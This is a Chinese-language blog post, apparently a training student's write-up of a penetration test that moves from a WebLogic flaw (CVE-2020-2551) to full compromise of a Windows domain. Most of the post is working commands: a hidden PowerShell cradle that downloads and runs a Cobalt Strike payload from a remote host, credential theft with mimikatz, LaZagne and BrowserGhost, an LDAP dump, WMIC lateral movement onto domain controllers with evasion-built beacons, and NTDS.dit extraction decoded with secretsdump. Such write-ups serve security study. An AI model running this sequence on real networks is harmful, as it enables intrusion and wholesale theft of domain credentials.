记录某次实战渗透测试过程
作者:admin | 时间:2022-1-16 21:43:31 | 分类:黑客技术 隐藏侧边栏展开侧边栏
本文来自宽字节安全第一期线下培训学员Lemon投稿。
在某次项目中对某个网站的渗透测试,记录一下。

先做信息收集,使用oneforall收集一下子域名。
python3 oneforall.py --target xxxxx run

在对上面的扫描结果逐一测试的时候,发现某子域名有weblogic漏洞

通过weblogic漏洞利用工具扫描发现有CVE_2020_2551漏洞,管理员用户

判断是否出网
目标机器出网,并且能和VPS服务器通信


cs上线
执行poweshell看能不能上线
cmd.exe /c powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxx'))"
cs可以上线
拿到administrator权限,

密码收集
1.执行mimikatz获取密码
logonpasswords

2.使用LaZagne取各种连接工具密码、浏览器保存密码等
shell cmd.exe /c D:bealazagne.exe all -oN

3.抓取浏览器密码,使用BrowserGhost

dump LDAP
查询到目标机器在域内,域用户登录
shell wmic computersystem get domain

shell whoami /all

前面已经确定目标机器在域内,并且目标机器是域用户登录。
域成员用户可以通过LDAP访问域的目录数据库从而看到整个域的信息。
这是使用的一种方式是通过 ADExplorer软件dump
将ADExplorer.exe上传到目标机器,使用以下命令执行
D:beaxxADExplorer.exe -snapshot "" D:beaxxresult.dat /accepteula

将resul.dat 在本地用ADExplorer打开即可看到域的信息

扫描内网
查看本机IP,本机IP为192.168.10.3.
使用fscan工具扫描一下192.168.10内网段,从扫描结果看出192.168.10.10和192.168.10.32应该是域控服务器


横向
通过LDAP和内网扫描看到域内有两台域控:192.168.10.10、192.168.10.32
判断用户权限
shell whoami /all


shell net group "domain admins" /domain

比较幸运,上线就是域管用户可以直接使用域管用户身份横线域内其他机器
先尝试横向域控192.168.10.10机器,wmic可用,通过wmic进行横向
shell wmic /node:192.168.10.10 os get name

判断是否有杀软
shell wmic /node:192.168.10.10 process get processid,name


列出192.168.10.10进程,使用杀软在线查询,目标机器有杀软
判断192.168.10.10是否出网,如果直接执行ping 8.8.8.8或者其他公网地址,但是CS上没有回显就无法判断,在这里分享一下我常用的两种方法:
1.通过DNSlog (http://www.dnslog.cn/)
shell wmic /node:192.168.10.10 process call create "cmd.exe /c ping g2azxa.dnslog.cn"

2.通过tcpdump
tcpdump -i 网卡名 icmp
shell wmic /node:192.168.10.10 process call create "cmd.exe /c ping VPSip"

两种方法都没有回显,192.168.10.10不出网。
192.168.10.10不出网而且有杀软,先做免杀,然后通过CS的smb隧道将192.168.10.10link上线
在CS上创建SMB监听,使用smb监听生成beacon。
将做好免杀的beacon 上传到192.168.10.10。



通过link192.168.10.10 上线
shell wmic /node:192.168.10.10 process call create "cmd.exe /c c:UsersPublicms.exe c:UsersPublicmnb.bin.new" link 192.168.10.10


第一台域控上线,接着横向另一台192.168.10.32机器,方法跟上面一样,判断出网和杀软。


192.168.10.32出网有杀软,这样就不用通过link上线了,直接做免杀beacon上线就行。
shell wmic /node:192.168.10.32 process call create "cmd.exe /c c:UsersPublicms.exe c:UsersPublicbeacon.bin.new"

拿到域控可以导出域hash
Windows的密码是经过hash后存储的,本地存在hklmsam,hklmsystem注册表中
域里面存在域控制器的c:windowsntdsntds.dit中,我们取出来解密即可
shell ntdsutil "activate instance ntds" ifm "create full C:usersPublicntdsutil" quit quit

再使用reg命令导出system 和security
reg save hklmsystem system
reg save hklmsecurity security

使用impacket下的secretsdump.py 解hash
python secretsdump.py -ntds "C:ntdsntds.dit" -security "C:ntdsSECURITY" -system "C:ntdsSYSTEM" local
最后成功获取当前域控中所有域账户和密码

本文作者:宽字节安全
本文为安全脉搏专栏作者发布,转自:https://www.secpulse.com/archives/171523.html